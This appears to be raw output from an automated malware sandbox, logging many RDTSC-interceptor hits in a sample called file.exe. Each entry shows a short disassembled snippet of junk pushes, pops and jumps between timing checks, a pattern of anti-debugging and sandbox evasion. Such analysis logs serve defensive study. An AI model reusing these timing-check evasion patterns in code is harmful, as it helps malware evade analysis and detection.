Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602A6C second address: 602A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F93256ABCB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602A7E second address: 602A84 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602A84 second address: 5E615B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F93256ABCB6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f movzx edi, cx 0x00000012 call dword ptr [ebp+122D2B98h] 0x00000018 pushad 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CBC0 second address: 63CBC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CEC8 second address: 63CECE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CECE second address: 63CED4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CED4 second address: 63CEEC instructions: 0x00000000 rdtsc 0x00000002 jns 00007F93256ABCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F93256ABCB8h 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CEEC second address: 63CF04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c jno 00007F9324C341C6h 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CF04 second address: 63CF0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D621 second address: 63D640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F9324C341D3h 0x0000000a pop esi 0x0000000b push esi 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D640 second address: 63D65A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F93256ABCC4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64886F second address: 64887F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F9324C341C6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64887F second address: 648885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D302 second address: 64D30E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jg 00007F9324C341C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D30E second address: 64D324 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F93256ABCC1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D324 second address: 64D360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9324C341CFh 0x0000000b popad 0x0000000c push eax 0x0000000d jbe 00007F9324C341C6h 0x00000013 jmp 00007F9324C341D2h 0x00000018 pop eax 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jnl 00007F9324C341C8h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D79D second address: 64D7A7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F93256ABCB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D7A7 second address: 64D7BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F9324C341D2h 0x0000000c jc 00007F9324C341C6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D957 second address: 64D95D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D95D second address: 64D961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D961 second address: 64D97C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCC5h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D97C second address: 64D993 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9324C341CDh 0x00000009 jbe 00007F9324C341C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DDD3 second address: 64DDE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCBAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DEFF second address: 64DF12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9324C341CAh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DF12 second address: 64DF19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DF19 second address: 64DF36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F9324C341CDh 0x0000000a pop eax 0x0000000b jc 00007F9324C341CEh 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E244 second address: 64E24A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 651E0A second address: 651E0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 651E0E second address: 651E21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F93256ABCBBh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6516C4 second address: 6516DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F9324C341CEh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6516DF second address: 6516E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6516E8 second address: 6516FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9324C341D0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6516FE second address: 651705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 651705 second address: 65170B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65170B second address: 65170F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 651B4D second address: 651B51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 651B51 second address: 651B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F93256ABCB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jl 00007F93256ABCB6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 651B66 second address: 651B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653EC2 second address: 653EC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653EC6 second address: 653ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653ECC second address: 653ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653ED8 second address: 653EF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9324C341CBh 0x00000007 jc 00007F9324C341C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653EF3 second address: 653F04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F93256ABCBCh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653F04 second address: 653F09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65EE5E second address: 65EE62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D882 second address: 65D8B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F9324C341C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007F9324C341E5h 0x00000012 jno 00007F9324C341C6h 0x00000018 jmp 00007F9324C341D9h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D8B3 second address: 65D8BE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop edi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D8BE second address: 65D8C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65DA69 second address: 65DA95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F93256ABCB6h 0x0000000c jmp 00007F93256ABCC1h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F93256ABCBCh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65DA95 second address: 65DA9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65DA9F second address: 65DAA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F93256ABCB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65DE4E second address: 65DE52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65DE52 second address: 65DE69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCBCh 0x00000007 push ebx 0x00000008 je 00007F93256ABCB6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6024D9 second address: 602520 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F9324C341D6h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push eax 0x0000000f mov dh, ah 0x00000011 pop edi 0x00000012 push 00000004h 0x00000014 mov dl, DFh 0x00000016 nop 0x00000017 pushad 0x00000018 push ecx 0x00000019 jmp 00007F9324C341D9h 0x0000001e pop ecx 0x0000001f push ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E17C second address: 65E182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E182 second address: 65E186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66324B second address: 663264 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCBFh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663264 second address: 663268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663268 second address: 66326C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662630 second address: 66264B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9324C341D7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66264B second address: 662665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F93256ABCC0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662665 second address: 66269C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9324C341CAh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push edx 0x0000000d pop edx 0x0000000e jnc 00007F9324C341C6h 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F9324C341D9h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6627EC second address: 6627F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F93256ABCB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662B0B second address: 662B0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662DFC second address: 662E02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B9FE second address: 66BA08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669BC1 second address: 669BC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669BC8 second address: 669BFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jno 00007F9324C341C6h 0x0000000b jmp 00007F9324C341D8h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jo 00007F9324C341C6h 0x00000019 jl 00007F9324C341C6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669BFA second address: 669BFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669BFE second address: 669C1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F9324C341CAh 0x00000010 jnp 00007F9324C341C8h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669C1A second address: 669C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669C20 second address: 669C2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669C2A second address: 669C2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A55F second address: 66A587 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007F9324C341C6h 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9324C341D0h 0x00000015 jnp 00007F9324C341CEh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A587 second address: 66A58D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B106 second address: 66B110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F9324C341C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674893 second address: 674899 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674899 second address: 67489F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67489F second address: 6748A9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F93256ABCBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6748A9 second address: 6748BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F9324C341E6h 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6739F2 second address: 6739F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6739F6 second address: 673A0F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9324C341D3h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673A0F second address: 673A17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673A17 second address: 673A25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F9324C341C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673A25 second address: 673A29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673A29 second address: 673A2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673A2F second address: 673A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F93256ABCB8h 0x00000010 jl 00007F93256ABCC4h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673A55 second address: 673A84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9324C341D4h 0x00000009 jmp 00007F9324C341D7h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673A84 second address: 673A88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673ECA second address: 673ED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F9324C341C6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673ED9 second address: 673EE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673EE1 second address: 673EF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9324C341CBh 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67447A second address: 674499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F93256ABCB6h 0x0000000a jmp 00007F93256ABCC2h 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CB73 second address: 67CB77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CB77 second address: 67CBA9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F93256ABCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F93256ABCC8h 0x00000011 jmp 00007F93256ABCBEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CBA9 second address: 67CBCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jne 00007F9324C341C6h 0x00000010 jmp 00007F9324C341D0h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CBCC second address: 67CBD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CBD1 second address: 67CBD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
